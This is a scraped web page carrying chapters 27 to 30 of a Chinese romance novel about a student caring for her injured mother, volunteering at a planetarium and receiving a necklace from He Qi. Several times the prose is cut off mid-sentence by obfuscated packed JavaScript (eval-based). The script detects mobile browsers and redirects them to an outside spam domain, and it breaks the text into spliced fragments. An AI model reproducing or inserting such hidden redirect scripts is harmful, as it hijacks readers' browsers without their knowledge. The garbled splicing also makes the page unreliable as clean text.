d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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这样做是有点打乱了她的工作安排，但蔺妤看着夏汀禾，不由得想起上次吵架的事情，她心里有愧，总是有些过意不去，所以没拒绝她的提议。 于是夏汀禾白天就在医院里陪着蔺妤，到了晚上，和她一起吃完了晚餐，安顿好了她，夏汀禾才回了民宿。 到了民宿，她先从罗欣那里得到了消息——早上贺祁和她分开之后，一直到现在也没回来。 “你们早上不是一起出去的么？”罗欣“哦”了一声，又笑了起来：“这么快又想见面啦？” 她每次这么笑总会让夏汀禾感觉到脸热。 尤其还笑个不停。 “没有……”夏汀禾毫无底气地回了一句。 其实是她早上感觉出贺祁的情绪不太对，只不过当时顾着妈妈的事，所以也没多问了。 现在空闲下来，想了起来，就过来找他了。 “夏汀禾你找贺祁？” 这时正好梁浩从楼上下来去外面吹风，回答说：“贺祁最近几天都不会在这边，他有事回家了。” 27. 意义 回家了？ 想到前几天去接贺祁爸妈的时候，夏汀禾理所当然地认为他是和家人一起回去了。 不过梁浩却接着回了她：“不是和他爸妈一起。” 语言组织得有些困难，梁浩抓了下头发，挤出一个词来：“他是回小时候住的地方了，他爷爷老家那边。” 几次听到他是被爷爷带大的，夏汀禾不由得问了一句老家在哪，梁浩也不是十分清楚，只知道个大概的位置。 是在一个比较偏僻的三四线小城市镇上。 夏汀禾没听说过，搜了地图后才了解到有这么一个地方。 那离这边很远，没有直达航班，高铁需要六七个小时，下高铁后还要转大巴才能去到镇上。 不清楚他为什么选了这个时间点回去，夏汀禾也没多问。回到房间后，她在微信上给贺祁发了消息，只问了他什么时候回来。 睡前没有等到贺祁的回复，第二天早上，夏汀禾洗漱完准备去医院时，再次打开手机，依旧没有收到他的消息。 兴许是有事在忙。 夏汀禾给他找了个理由。 她出门的时间太早，手上还拿了早餐。从民宿转了一圈回来的蔺回绪看到了，问她：“这么早就出去玩了？” 这段日子夏汀禾经常出去，蔺回绪已经不觉得诧异。再加上夏汀禾明显变得开朗活泼了些，作为舅舅，蔺回绪心里也是十分感谢那些在她身边的朋友。 不过他这次猜错了，夏汀禾并不是要出门玩。 “……嗯。”昨天离开医院时，蔺妤就特意叮嘱了她别把这件事告诉她舅舅，不然到时候又得在她耳边吵个半天。 夏汀禾只好这样扯了个小谎。 “要舅舅送你过去吗？”蔺回绪对侄女向来是百分百信任的。 “不用了！”夏汀禾赶忙拒绝，“不是很远，我走路去就可以的。” “行。”蔺回绪也没多说，“那中午回家吃饭不？” 中午她是打算在医院和蔺妤一起吃的，她手上打了石膏，就算点了外卖，可以直接送到病房门口，也总有不方便的时候。 “……应该不回来了。” 出去玩一整天也正常，蔺回绪点了点头，又说：“那晚上想吃什么到时候发消息告诉舅舅就行，我和你舅妈做。” 夏汀禾摸了下手臂，低着头小声地回应：“晚上应该也不会回来吃了。” 蔺回绪：“？” 夏汀禾随便找了个借口，说好不容易和朋友好不容易聚在一起，想多待一会儿，这才应对完了蔺回绪。 出了小区，眼看着要错过了和蔺妤约定的时间，夏汀禾几乎是飞跑着去了地铁口。 等到了才发现，早上做好的蔬菜卷饼已经被挤扁了，完全看不出刚出锅时是什么样的。 “这什么？”蔺妤坐在病床上，看着她从包里拿出来一团东西后，都忍不住好奇地探头看了看。 “蔬菜卷饼，做出来的时候不是这样的。”夏汀禾抿了下唇，不太愿意把这个给蔺妤吃了。 她特意早上起来准备的，谁知道赶个地铁就意外变成了现在的奇形怪状。 蔺妤关上了电脑，从她手上拿了过来，撕开外面的保鲜膜，直接咬了一口。常年养成的控制饮食的习惯，她吃东西时的动作也很斯文。 “好吃就行，样子有什么要紧的。” 味道其实不错。 蔺妤也是这段日子才意识到原来夏汀禾已经会做菜了。 她以前带几岁的夏汀禾时，都是直接带她下馆子或者是去她弟家蹭饭。 许久没在早餐吃过这么多碳水，吃完后，夏汀禾给她递了纸擦手。 蔺妤擦着手，又突然想起了什么，接着缓缓道：“你爸长得人模狗样的，还不是那副德性。” 这一句话终结了对话，病房里瞬间安静下来。 夏汀禾从来不会在他们两个说对方的时候回话，她也不知道自己应该帮谁。 早餐结束，蔺妤又开始了工作，夏汀禾就选了一部电视剧戴着耳机坐在她身边看。 两个人沉默寡言了一上午。 其实病房里还有一位病人，只是拉着帘子的，对方又在看电视，几乎也和她们没什么交流。 直到临近十二点，病房里有其他人进来，让这里又重新恢复了点人气。 门被推开的时候，夏汀禾抬眸看过去。 她先看到了绑着五颜六色小皮筋的麻花辫，随后门缝逐渐打开，小女孩歪头往里面瞧，夏汀禾才看清楚她的长相。 是昨天在护士站看到的小女孩。 夏汀禾以为她是在找人，几秒后，才意识到小女孩是一直在看着她。她的眼睛圆滚滚的，眼神纯真又可爱。 夏汀禾自然而然地认为她是对自己手上的零食感兴趣。 从帆布包里拿了两包小孩子爱吃的甜口饼干，夏汀禾起身走了过去。 “你要吃吗？” 小女孩摇了摇头，又礼貌地小声道了谢。 没等夏汀禾问其他的，小女孩很快跑开了。走廊里传来滴答滴答的响声。 只不过没一会儿她又回来了，这一次是和她妈妈一起过来的。 病房里一共三个床位，最里面的和蔺妤在的最靠近门口的都有人了，女人于是直接坐在了中间的病床上。 她待人温和，一进来就和蔺妤以及另外一位病人打了招呼。蔺妤礼貌性地回了一句，躺在最里面的那位也这时才拉开了帘子。 一拉开，突然发现手上的吊针已经回血了。 “诶呦。”听到对方惊呼了一声，女人看了过去。 她动作很利索，立即就举着吊瓶往高处的挂钩挂上了，回血的情况很快止住。 “这怎么回事？该不会医院给我挂的假药水吧？”病人当即就准备摁呼叫铃。 女人笑了笑和她解释：“应该是刚才是药水快打完了，你又动了下，吊瓶里压强小了些，血就回流了。” 突然在生活中听到专业名词，夏汀禾不由得看了过去。 没一会儿，护士过来换药，给出大差不差的解释，等人走了，病人好奇地问：“你学物理的？还是是医生啊？” 女人笑着否认了，温声道：“我儿子是学物理的，偶尔听他讲一些，就学到了点有的没的。” 病人十分钦佩：“那也很厉害哦，刚都吓我一大跳，谢谢了。” 都闲着没事，话题自然而然就引到了自家小孩身上。 夏汀禾无意去听别人的对话，只是说着说着，女人提到了自己儿子去国外做交换生的事。 “交换生？要去国外读书啊？这可远了吧？” 女人眼里流露出欣慰，又有不舍，她回应说：“是要去国外。他爸爸以前的梦想就是学物理，只是走得早，没能完成，所以他总想着在这条路上走下去，替他爸多看一点、多学一点。” “那真是好孩子哦，我看你性格这么好，教出来的孩子肯定懂事。这小姑娘也乖。” 正说着话，医生又推开了门进来，喊了声名字。 女人招手示意了下，医生便走到了她面前，一边看着病历一边皱着眉问她：“你是说想要停药？” 女人点了点头，回应说：“对，我看我身体上最近也没什么不舒服的地方了，就想着能不能慢慢减少药量。” 医生很快否定了：“这个不行的，你的这几项指标还是不正常的，怎么停？停了到时候就直接会升上去，到时候想控制都控不住，问题就大了。” 医生耐心地和她举例子说明，女人也听懂了，最终还是决定没减药。 等医生走了，最里面病床上的人又开始问女人：“医生说得对嘞，还是按照医生的来，身体最重要。” 女人扯出一丝苦笑：“我们家一半的生活费都是我儿子在大学里兼职挣的。他本来就已经很让我省心了，我不想再给他添麻烦。” 小女孩在这时爬到了床上，抱了抱妈妈。 大抵是不太习惯和人诉苦，女人说完这句，很快又起了身，温柔地笑着道别，抱着女儿离开了。 全程戴着耳机，蔺妤没受一点打扰，看着人都走了，她才摘了耳机对夏汀禾说：“还在看什么？出去吃饭了。” 夏汀禾这才收回了视线。 - 蔺妤总共在医院里住了三天，再待下去是一万个不愿意，夏汀禾和医生最终只好妥协了。 她是离不开工作的，一出了院就回了公司。 夏汀禾反而闲了下来。 天文馆的志愿者面试已经通过，下周一可以正式任职。收到的通知的时候，夏汀禾立即 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15623133|170573||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 欢喜地截图给了贺祁。 发出去后，又忽地看到自己几天前发的他都还没回复。 对夏汀禾来说，可以了解他的唯一人脉也就只有梁浩，但梁浩也无从得知他这几天的行踪。 于是她也只能这么等着。 等待总是让人有些不适的。周日那天，夏汀禾的心情变得有些躁动。 她早起来了民宿，却依旧没看到贺祁的身影。 在她想着贺祁是不是以后都不会回来时，罗欣和她说有人来找她了。 “找我吗？”夏汀禾迅速跑到了前台那边，又和她确认了一遍。 “对啊。”罗欣一边整理着桌面一边和她说，“是个高高瘦瘦的女生，嗯……扎着高马尾，戴耳钉的。” 不是他。 也对。 要是是贺祁的话，罗欣肯定回直接说他的名字的。 因为太过于想要知道答案，夏汀禾一时间都忘了这点。 她们正说着，祝朝月就在民宿门口喊了一声：“汀禾！” 她依旧是踩着自行车过来的，身上还是简单的运动套装。 夏汀禾走了过去，问她：“你是来找梁浩的吗？” 祝朝月笑了下，回她说：“不是。我是来找你的。” “应该也没人规定情侣要时时刻刻在一起？” 夏汀禾赶紧解释：“我不是这个意思。” “我知道。”祝朝月对她眨了眨眼，“走吧，带你去吃上次我给梁浩带早餐的那家店。” 夏汀禾没想到她大老远地跑来就是为了请自己吃早餐的，而且看样子，她似乎还不知道梁浩因为那顿早餐肚子不舒服了好几天。 这是梁浩刻意隐瞒的，她自然也不会在祝朝月面前提起。 她们俩一起骑了自行车过去。 一路上边骑车边说话，夏汀禾了解到祝朝月学的是计算机，目前一家游戏公司当后端开发实习生，以后大概率也是走这个方向。 听到讲了一些专业术语，夏汀禾自觉很厉害，然而祝朝月是这么评价的： “每天回到家基本上都累死了，不懂为什么实习生也要跟着加班。上班受一肚子气，回家了更加不想和人说话。好几次我都和梁浩说了，让他过段时间，等我调理好了再给我发消息。” “还可以这样的吗？”夏汀禾有些好奇。 “嗯？什么样的？” “就是你可以很长一段时间不和他说话？” 夏汀禾一直以为情侣是会很需要彼此联系的。 被她这么问了，祝朝月才似乎意识到这个问题。隔了会儿，她才回夏汀禾：“应该吧，我忙的时候就这么和他说。大家都总有自己的事要做，也没人会一直关心你。” 这句说完，正好有货车路过，轰隆的声响阻断了他们俩的谈话。 等货车过去了许久，祝朝月突然问了夏汀禾一句：“你觉得谈恋爱有意义吗？” 夏汀禾被她问得一愣，不知道该怎么回答。 祝朝月很快反应过来：“差点忘了，你还没谈过对吧？抱歉抱歉。” 夏汀禾：“……” 看到夏汀禾懵懵懂懂地望着她，祝朝月不由得心情都好了起来，没再继续这个话题，她飞速踩着自行车往前冲。 半小时的路程缩短到了十几分钟，到了之后，两人点上餐，享受了一顿。 早餐过后，两个人又去城市四周转了一圈，几个地方跑下来，接近晚上九点，夏汀禾才回了民宿。 白天疯玩了一整天，头发早就乱成了一团，她低着头整理了下刘海。 这时熟悉的声音渐渐从门外传进来。 “你怎么才回来？我特意给你准备了超级无敌丰盛的海鲜大餐。” 梁浩说着就要带贺祁去厨房看，被贺祁一口回绝了：“心意领了，东西你就自己吃吧。” “你在质疑我的口味？” 贺祁笑了下：“昂，可以这么说。” 梁浩：“……” 他们俩说着话，夏汀禾也不好打断。 她只好在旁边看了看贺祁。 兴许是刚从外面回来，他戴着的黑色棒球帽还没来得及摘，这么压低帽檐，碎发下漆黑的眼眸就显得格外深邃。 他其实在进门的第一时刻也看向了夏汀禾。 28. 项链 梁浩说了多久，他们就这么站在原地看了彼此多久。 偶尔长时间的对视，都会让夏汀禾在不经意之间有些脸热。她有意错开了视线，没一会儿，贺祁走到了她面前。 不知道他在看什么，总之也没开口说话。旁边人来人往的，声音嘈杂，衬得他们俩格外安静。 夏汀禾的视线落在他手上，发现他手背上的伤口已经几乎看不见了。 原来都过去好几天了。 夏汀禾抿了下唇，有些撒气似的问他：“我给你发消息，你怎么都没回我。” 她还每天晚上看消息，确认自己没有错过，结果都没有等到贺祁的回复。 “抱歉，有点忙。”说出这句话的时候，他的嗓音有些哑。 夏汀禾这时抬起头来，错愕地发现贺祁的目光一直落在她身上。 他脸上的神情也很平静，和以往很不一样。 被她这么看着，贺祁很快偏头咳了下，又轻声问她：“待会儿有空吗？” 都还没意识到他说的是什么，夏汀禾就已经答应了：“嗯。” “等我回房间收拾下再过来找你？” 夏汀禾这才注意到他手上还拿着行李箱的。 和他来的时候拿的不是同一个，但也是黑色款的，光亮的拉杆和他手上冷白的肤色形成了强烈的对比。 里面不知道装了什么，看着似乎还挺重的。 夏汀禾点了点头，“哦”了一声，贺祁这时才推着行李箱上楼。 等他一走，罗欣立即凑了过来，勾着夏汀禾的肩膀，暧昧地说：“怎么样？不会想见面了吧？人家可是一进门就来找你了。” 罗欣又在她面前模仿了刚才贺祁的动作，弄得夏汀禾本来就泛热的脸颊更红了。 她哪有想见面了…… 只是不满意贺祁不回她消息而已。 夏汀禾小声地否认了：“他进门找的是梁浩，又不是我。” “哦哦，好。”罗欣笑了笑，“看来要下次告诉贺祁，要他在回来的高铁上就得联系你了。不不不！回来的前一天就必须要这么做了！” 这几天越混越熟，罗欣在她面前也开始变得放飞自我，夏汀禾总是说不过她的，干脆不和她说了。 她往电梯的方向看了看，忽地又想到贺祁刚才沉寂的表情。 回家了一趟，他不高兴吗？ - 贺祁是半小时后才下来找她的。 他换了身衣服，也洗了头发，手上还拿着一个看起来颇精致的牛皮纸袋。 和之前一样，晚上没地方去，夏汀禾也不想走太远，两人就选择了去海边散步。 刚到海岸边，贺祁就把手上的纸袋递给了她。 “给我的吗？”夏汀禾虽然猜到了，但在他给自己的时候还是明显感觉到心跳加速了。 “昂。”贺祁应了一声，催促她说：“打开看看。” 夏汀禾小心翼翼地解开绕在牛皮纸袋金属扣上的白绳。 纸袋里面只装了一个透明的首饰盒。 是一条项链。 链条是银色的、带着细闪，吊坠有两个，一个是一颗行星似的淡粉色水晶，还有一个是比它小一半的一片不规则的挂饰，远看像是橄榄绿的叶子，但近看又似乎不是。 不过绕在在行星周围，它其实很难被察觉。 “这个是什么？”夏汀禾指着不规则的小吊坠问他。 贺祁想了想，给了她一个答案：“可以看成宇宙中的一些碎片吧，不喜欢么？不喜欢可以摘下来。” “不是。”夏汀禾很快否认了。 项链自然是好看的，只是光是看做工和细节，她也知道不会便宜。 正准备说她还是不收了，贺祁像是知道她会说什么，直接道：“放心，没多贵，在路上随便买的。” 看她不信，贺祁又忽地笑了下，补了句：“也不是什么给儿媳妇的传家宝。” 被他故意这么打趣，夏汀禾气得捶了他两下。 单从价格来说，项链确实没多贵，只是机会是贺祁等了许久才等到的。 他回老家是因为收到了那边的消息，说是有人曾经看到过他爷爷去世前一天去了哪。 接到电话后，贺祁就立即赶了过去。他一个人接着一个人地问，但最后也没能摸到一点线索。 事情没有着落，戴在他脖子上的挂绳项链却不知道什么时候被弄断了。 这条是他爷爷在他五岁生日的时候给他找人定做的。习惯了，他也就一直戴在身上。 好在他半年前就已经预约了那家店，想要重新做一条新的。 第二天贺祁过去，老板问他想要什么款式的，他大概描述了一下，老板听完后问他：“是女生戴的？” 贺祁莫名回答了：“是。” 说完后，他突然想到了夏汀禾，这时候反应过来自己说是的缘由——出来玩了，他总想给她带点什么过去。常见的东西贺祁不想送，于是就挑了这个。 “真的是送给我的吗？”夏汀禾打开纸袋又看了一眼，和他确认了一遍。 贺祁：“嗯。” 夏汀禾这才收下。 接着之前的话题，她又问：“你在那边是忙得都没空看消息了吗？” 其实也没有那么忙，只是贺祁那几天情绪很差，不想再从外界接受信息，所以自动屏蔽了所有。等到回来那天，他打开消息了，才发现夏汀禾给他发了好几条。 没想和她提及这些消极的事，贺祁勾了下嘴角，反问说：“还没问你呢，怎么想到每天都要给我发？一天都没停。” 那还不是因为他不回。 而且她也没发那么多，只是每天找一件事说了一下。 “我只是随便问问你……”夏汀禾回他：“明天都要去天文馆了，你不回来，不就是失约了么？” “和谁失约？天文馆么？”贺祁突然弯腰凑近了她，笑着问： “还是说，和你？” - 他们在海边走了差不多一小时，回来后，夏汀禾心里都还是有些乱的。 回想起刚刚的那些对话，她慢慢回味过来，贺祁一直在刻意避开她想问的问题。他就是不想告诉她在那边的事，所以才用一些调侃的话不停地在扰乱她。 他不愿意说，夏汀禾自然也不会强求着去追问。 不过越是这样，夏汀禾越是好奇。同时她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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明明已经离婚了，又似乎仍在关注着彼此，谈话之间总会下意识地提及对方。不过这些又不足以说明他们之间仍有感情，仿佛只是因为纠缠了太久，心里硌着，一直放不下而已。 夏汀禾没有经历过这样的感情，也无法体会他们之间的矛盾感。 她是被夹在中间的那个。每次遇到这种时候，她都很难受。 坐在椅子上缓了许久，夏汀禾才重新调理好，继续自己的事。 出门前，她从抽屉里拿上了一样东西。 - 门外传来敲门声时，贺祁也正好收拾完准备出发。听到是夏汀禾的声音，他先走了过去开门。 门开了，人却没进来。 贺祁看过去，夏汀禾依旧在门背后站着，有些拘束地看着他。 “躲门背后做什么？”贺祁漫不经心地笑了下，问她。 夏汀禾这才往前挪了一步，从门后走出来。 贺祁这下注意到了。 她戴了自己送她的项链。 29. 试卷 被盯着看了大半分钟，夏汀禾不自在地摸了摸项链，低着头问：“……不好看吗？” 应该还可以的吧。 她出门前在镜子前照了一下，看起来还挺合适的。 只是在她推开了门后，贺祁就愣住了，也没给出回应。夏汀禾一直很在乎别人的看法，有些忐忑地担心他会觉得不好看。 隔了会儿，贺祁给了答案：“很漂亮。” 贺祁是看着她说的，也不知道指的是人还是项链。 他说得很自然又坦荡，弄得夏汀禾倒是不好意思起来，没有找出合适的话来回应，她只好“哦”了一声。 两个人一起在民宿吃的早餐，吃完后去了天文馆，正好赶上上班的时间。 负责讲解的展馆是自己选的，他们选了同一个。 早在来之前，夏汀禾就大致看了下天文馆日常接待的游客类型，除了当作旅游打卡点以及感兴趣而来的之外，最多的就是学校组织过来研学的初小学生。 夏汀禾挺喜欢小孩的，不过也没体会过在这种场景下和比自己年纪小十来岁的沟通。 几乎没给她准备的机会，她刚穿上志愿者红色外套，一个背着书包的小孩就朝她跑了过来。 “姐姐，你知道红矮星、白巨星的那个展厅在哪吗？” 小孩手上拿着笔和一张纸，看着像是刚上一二年级，一声姐姐叫得清脆又乖巧。 夏汀禾弯下腰来告诉他：“就在3号展厅，你可以从楼梯那边下去，左边走就可以看到了。” 听完她的话后，小孩把手上的纸竖了起来，挡住了她的视线，又拿着笔在纸上涂涂写写了些东西。 兴许是别人的隐私，夏汀禾也没多看，察觉到这一点后立即直起了身，拉开了距离。 等写完了，小孩又问她：“那你是这个展厅的讲解员吗？” 夏汀禾点了点头。 小孩欣喜之色溢于言表，低声说了句“yes”，飞快地就开始连着问她问题：“那你知道太阳的直径是多少吗？” 这些都是熟记于心的常识，夏汀禾脱口而出就回答了他。 小孩给她点了个赞：“姐姐你真厉害。” 夸完又继续在纸上写了几笔。 “那为什么只有地球上有人类呢？土星月球上没有？” 夏汀禾尽量用简单的语言告诉他，小孩边听边记，她说快了还会及时止住她：“姐姐你说慢一点，哦，也不要说太多了，一两句就行，刚刚那句我还没记下来呢。” 要记这么多吗？ 夏汀禾挺意外这个年纪的小孩就已经这么热爱学习知识。 问题一个接着一个地向她抛过来。 好不容易用了半小时，看着他写完了一张纸，夏汀禾以为结束了，便开了瓶矿泉水喝，润了润嗓子。 她正准备去别的地方，小孩又立马拉住了她：“等等等等，漂亮姐姐，我还有一些没问完呢！” 他又开始在纸上翻找着什么，夏汀禾于是又站住了脚，在一旁等着。 贺祁就在这时过来。 他是过来拿瓶水的，看到她这边的情况，不由得走到了她面前。 “还没回答完么？” 差不多一小时前，他就看见夏汀禾在给小孩解答。他们俩分在展厅的不同入口处，歇息时，贺祁往她这边瞥，看到她说话几乎就没停过。 “嗯，他挺认真的，应该很喜欢这一类的。”夏汀禾回了他。 贺祁往正把纸铺在地上的小学生身上看了眼，视线落到一处，突然笑了起来。 “怎么了？”夏汀禾不明所以。 “没什么。”贺祁抬手指了下展厅外，“我出去一会儿。” 不知道他要去做什么，夏汀禾仍旧是守着自己的岗位。 过了差不多五分钟，小孩终于理清了思绪，从地上站起来对她说：“好了姐姐，我们重新开始吧！” 听起来斗志昂扬。 只是这一次，她还没回答，背后突然传来一阵喊声。响亮的声音直接穿过展厅，直抵他们这边。 厅内的光线并不明亮，夏汀禾眨了下眼睛，才看清楚那似乎是一位老师。 看到小孩愣了愣，夏汀禾问了他一句：“是在叫你吗？” “不是不是，我不认识。”小孩激灵了一下，赶紧把纸装进了背包里，动作堪称飞速。 只是晚了，老师直接跑过来抓住了他的书包，质问： “又偷懒了？让你去各个展厅自己思考探索答案，结果就直接问志愿者？明天把今天的知识抄两遍给我，不写完下次就留下打扫教室卫生！” 小孩立马屈服了：“啊？老师我错了，我下次再也不这样了！” 夏汀禾：“……” 她这时才明白小孩是把她当成人工答题机了，难怪当时不让她看，原来那几张纸都是试卷。 等小孩被老师拎着走了，贺祁也正好从外面回来。 “是你把他老师叫过来的吗？”夏汀禾迎上去问。 贺祁回她道：“没。” 那是对方是怎么发现的？ 夏汀禾还正疑惑着，贺祁又慢悠悠地说了一句：“只是把他的卷子拍了一下给他老师看而已。” 夏汀禾：“…………” 后来不知道是这件事传开了还是其他的什么原因，总之这之后的很少再有小朋友来找他们问话了，就算有，也会特别注意不去问试卷上的题目。 尤其是面对贺祁，小学生看一眼他，紧张兮兮地问了一个问题，得到回答后还没等贺祁问有没有其他想了解的，人就飞快地跑了。 一上午下来，领队的也发现了这件事，笑了半天，索性又直接把他们派到了大人最多的展厅。 “这就结束了么？”贺祁被派到另外一边时还有点不舍，“我其实还挺喜欢和他们交流的。” 领队的直接回了他：“但是他们已经怕你了，怀疑你是老师派来的间谍。” 贺祁：“……” 贺祁还想说点什么解释，夏汀禾赶紧拉着他走了。 - 志愿者的午餐可以在场馆内的员工餐厅解决。 夏汀禾原本是计划去附近的商场吃的，得知这个消息后，又有些好奇是什么样的。 商场里的什么时候都可以去吃，但是这个就不一定了，于是抉择之后，便去员工餐厅。 餐厅在负一楼，和普通的食堂差不多，也是拿餐盘在窗口排队选菜、最后结账一条龙。 菜品新鲜，好几样夏汀禾都想吃，又怕点多了浪费，精挑细选后拿了两荤一素。贺祁排在她后面，直接问她：“还有什么想吃的？” 她以为贺祁是在让她推荐，夏汀禾直说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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听到这里，夏汀禾突然怔愣了下。 因为她已经不是了。 要不是班主任这时候说起，她都快忘了自己曾经也是常年拿第一的人。 是什么时候变得开始看低、不相信自己的，夏汀禾都不清楚。 只是越来越习惯了，再加上进了大学后，身边优秀的人越来越多，她也就理所当然地觉得自己也只能这样了。 后半程的聊天夏汀禾仍旧没逃脱那句话对她的影响，一直到班主任走后，贺祁回来了，她才慢慢回过神来。 贺祁并不知道她们之间的对话。 把筷子递给夏汀禾后，她没接，他才感觉出异样。 正准备问，夏汀禾突然叫了下他的名字：“贺祁。” 贺祁看了过去。 她目光灼灼地看着他，话语间有些磕绊，但声音依旧温软。 像是在求证着什么，看了他一眼后，她又低下了头，浓密的眼睫跟着颤了颤。 她问得很小心，好像想要的不是这个问题的答案，而是只是一个肯定的回答： “……你早上说很漂亮，是在说我，对吗？” 30. 回答 说的自然是夏汀禾。 项链只是单纯的物件，对于贺祁来说，没有什么好不好看之分，区别是戴在谁身上。 早上夏汀禾来找他的时候，他先看到的也是她，其次才是他送的项链。 没明白她怎么突然会这么问，贺祁正打算重新再说一遍，他们俩旁边忽地蹿出人来。 “什么漂亮不漂亮？”蔺澈路过时只听到夏汀禾前面的这句，“哪个不长眼睛的说你不好看了？” 蔺澈出现得过于突然，夏汀禾都还沉浸在刚才的情绪之中，直到蔺澈凑到她耳边压低了声音问：“你对面这小子说的？” 蔺澈上下打量了下贺祁。 上次一起在民宿吃了顿晚饭后，他对贺祁印象还挺好的——长得帅，有礼貌，对女生也绅士。 要不是知道夏汀禾早已经有喜欢的人，他还真有撮合他们俩的想法。 在蔺澈看贺祁不爽时，夏汀禾赶紧回应：“不是的……” 一时间没办法解释清楚，夏汀禾接着就转移了话题：“表哥你怎么来这里了？” “哦，我朋友说想来这边看看，就陪她一起来了。” 蔺澈指了下还在食堂窗口选菜的女生，夏汀禾很快认出来是之前在聚餐上坐在她旁边的那位姐姐。 女生一袭深蓝色的长裙，裙摆落至脚踝处，后摆微微开叉，步行时露出匀称细长的小腿和底下的一双小高跟凉鞋。 举手投足间成熟大方的气质一下子就把夏汀禾给吸引住了。 因为身边几乎都是同龄人，夏汀禾很少接触到比她大几岁的，所以也很少去想象自己二十七八岁会是什么样的。 至少目前来说，她的性格、长相、穿搭，方方面面都和高中时的差别不大。 不过女生很快就打破了她的印象，选菜选得有些不耐烦了，女生理了理长至腰间的卷发，皱着眉看向了这边。 她没注意到夏汀禾他们，只嗔怪地看了一眼蔺澈，气鼓鼓道：“蔺澈！你快过来，帮我看看吃什么！” 她生着气，却也是格外好看的。 “大小姐脾气又上来了。”蔺澈轻叹了一口气，和夏汀禾说了句等会儿，就迅速跑着过去了。 只是被他这么一闹腾，夏汀禾也没有了刚才问贺祁的想法了。两个人坐在食堂里，面对面解决了午餐，休息了会儿，又很快开始了下午的工作。 - 班主任带着女儿从天文馆出来后，正准备回家，女儿却扯了扯她的衣摆。 “妈妈，刚刚和你说话的那个姐姐，就是你之前在家里说的很喜欢的学生吗？” 没想到女儿还记得这件事，班主任笑了笑，道：“对。” 夏汀禾在她的记忆里一直是文静内敛的，但是性格并不影响她的其他方面，她努力上进，成绩又好，思维也敏捷。 老师想不喜欢都难。 每次夏汀禾到办公室来问她题目，其他老师也会暗自投来羡慕的眼光。 带完他们那一届后，再也没有遇到像夏汀禾这样有创新想法的学生，班主任不得不感慨了一下，又对女儿说： “你要是以后能有这个姐姐学习一半好，我就谢天谢地了。” 小女孩撇了撇嘴：“妈妈你怎么能这么说我！比较这个习惯一点都不好哦！这是你说的。” “好好，不说了。” 她安慰着女儿的情绪，还没说完，旁边忽地有人叫了她一声。 “老师？” 看着面前瘦高的少年，班主任很快记起来：“言辞？” 付言辞点了点头，班主任脸上的笑容更甚：“今天是你们都在这边聚会吗？这么巧都让我给碰见了。” 成绩好的这几位很少参加高考后的同学聚会，不在一个城市了，班主任也难得见上他们，倒是意外地在今天碰到了两个。 付言辞愣了下，问：“还有别的同学也在这儿么？” 他是一个人来的。 “对啊，我刚看见了汀禾，你还记得她吗？之前你们俩还做过同桌呢。” 听到这个名字，付言辞感觉到心脏猛地一跳。 没在老师面前表露出太多情绪，他点了点头，寒暄了几句就道了别进了场馆内。 夏汀禾负责的展厅就在离天文馆入口的不远处，付言辞进去没多久，就看见了她。 她戴着扩音器，头发绑成了利落的高马尾，正在和游客讲解身后的展览。心无旁骛，眼里只有目前在做的事。 认真且坚定。 在老师说夏汀禾也在馆内时，付言辞以为的是她是也来这边参观了，和上次一样。 但他没猜到夏汀禾是来当志愿者的。 以他对夏汀禾的了解，这几乎是不可能的。因为夏汀禾并不喜欢在公众场合被人关注，成为目光的聚焦点。 她容易害羞，也容易紧张，尤其是在被很多人看着的时候。 不过眼前的画面却又实实在在地告诉了付言辞，他的想法是错的。 因为他并不了解，尽管有很多不适应，但比起那些，夏汀禾更愿意为了自己喜欢的事拼尽全力，哪怕也会犹豫和害怕。 付言辞没想过去打扰，就这么站在角落里看了她一会儿。 等她歇息后，付言辞也准备离开。 只是他看到了另一幕。 夏汀禾没在原地休息，而是去了另外一边，跑到了一个男生面前。 她双手背在身后，微微仰头地和男生说着什么事情，脖颈纤细又白嫩，碎发也随着她的动作轻微晃动着。 男生则曲着一双长腿，双手撑着靠在身后的桌子上。 他垂着眼眸，视线落在夏汀禾身上。听了之后，漫不经心地回应了几句，接着又笑了起来。 不知道男生说了什么，夏汀禾生气地捶了下他的肩膀，男生笑得更开心了，任由着她这么做。 原来夏汀禾会有这么多的情绪。 她会笑，会生气，也会撒气。 付言辞在这时接到了家里的电话。 是她妈妈打过来的。 “言辞，中午不回家吃饭了吗？妈妈帮你收拾了你出国要带的东西，你看看还有没有别的要买的？” 低头看了下时间，付言辞最后往夏汀禾那边瞥了眼，没再停留，转身出了门。 夏汀禾是在和贺祁分享完刚才游客说的话之后，被领队的叫住了。 “诶，汀禾，刚刚有人一直在那边看你。” “嗯？”夏汀禾扭头看过去，“没有呀。” 领队在人群中找了找，也没找到刚才的人了。 揉了揉眼睛，他半疑惑半好奇地说： “哦哦，那可能是我看错了。” - 在公交车站下车后，付言辞沿着走了十几年的路走回了家。 